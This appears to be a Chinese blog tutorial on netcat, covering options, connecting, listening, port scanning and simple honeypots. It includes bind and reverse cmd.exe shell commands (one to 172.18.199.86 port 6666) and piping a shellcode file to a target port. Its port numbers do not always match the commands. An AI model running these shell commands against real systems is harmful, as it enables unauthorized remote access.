netcat的使用

简介

  • netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧… 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。
  • 在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由“红与黑”编译后的新“浓缩”版。“浓缩”版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成很多工作。

软件介绍

  • 工具名:Netcat
    作者:Hobbit && Chris Wysopal
  • 网址: https://github.com/diegocr/netcat
    类别:开放源码
    平台:Linux/BSD/Unix/Windows

参数介绍

  • nc.exe -h即可看到各参数的使用方法。
    基本格式:
    nc [-options] hostname port[s] [ports] …
    nc -l -p port [options] [hostname] [port]

基本使用

参数 说明
-C 类似-L选项,一直不断连接[1.13版本新加的功能]
-d 后台执行
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway 源路由跳数,最大值为8(source-routing hoppoint[s],up to 8)
-G num 源路由指针:4,8,12,… (source-routing pointer:4,8,12,…)
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 指定发送数据的源IP地址,适用于多网卡机
-u UDP模式,[netcat-1.15可以:远程nc -ulp port -ecmd.exe,本地nc -u ip port连接,得到一个shell.]
-t -t是通过telnet模式执行
-v 详细输出——用两个-v可得到更详细的内容
-w secs 指定超时的时间
-z 将输入输出关掉——用于扫描时。表示zero,表示扫描时不发送任何数据

基本用法

  1. 连接到REMOTE主机,例子:
    # nc -nvv 192.168.x.x 80
    讲解:连到192.168.x.x的TCP80端口

  2. 监听LOCAL主机,例子:
    # nc -l -p 80
    讲解:监听本机的TCP80端口
    • (B机器监听一个没有的端口,可以互相聊天)
    • (A机器nc –nvv B机器IP 端口 nc -nvv 192.168.120.242 1234)

  3. 扫描远程主机,例子:
    # nc -nvv -w2 -z 192.168.x.x 80-445
    讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
    • (速度很慢)

  4. REMOTE主机绑定SHELL,例子:
    # nc -l -p 1234 -t -e c:\windows\system32\cmd.exe
    讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354

  5. REMOTE主机绑定SHELL并反向连接,例子:
    # nc -t -e c:\windows\system32\cmd.exe 172.18.199.86 6666
    讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,当配合管道命令"|“与重定向命令”<"、">"等等命令功能更强大…)。

高级用法

  1. 作攻击程序用,例子:
    # type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
    # nc -nvv 192.168.x.x 80 < c:\exploit.txt
    讲解:连接到192.168.x.x的80端口,并在其管道中发送’c:\exploit.txt’的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)附:'c:\exploit.txt’为shellcode等

  2. 作蜜罐用[1],例子:
    # nc -L -p 80
    讲解:使用’-L’(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
    • B机器 nc –L –p 888
    • A机器 nc.exe –nvv 172.18.199.86 22
    • 可以实现互相聊天

  3. 作蜜罐用[2],例子:
    # nc -L -p 80 > c:\log.txt
    讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:\log.txt’中,如果把‘>’ 改为‘>>'即可以追加日志
    附:'c:\log.txt’为日志等

  4. 作蜜罐用[3],例子:
    # nc -L -p 80 < c:\honeypot.txt
    # type.exe c:\honeypot.txt|nc -L -p 80
    讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,并把’c:\honeypot.txt’的内容‘送’入其管道中!

你可能感兴趣的:(网络安全)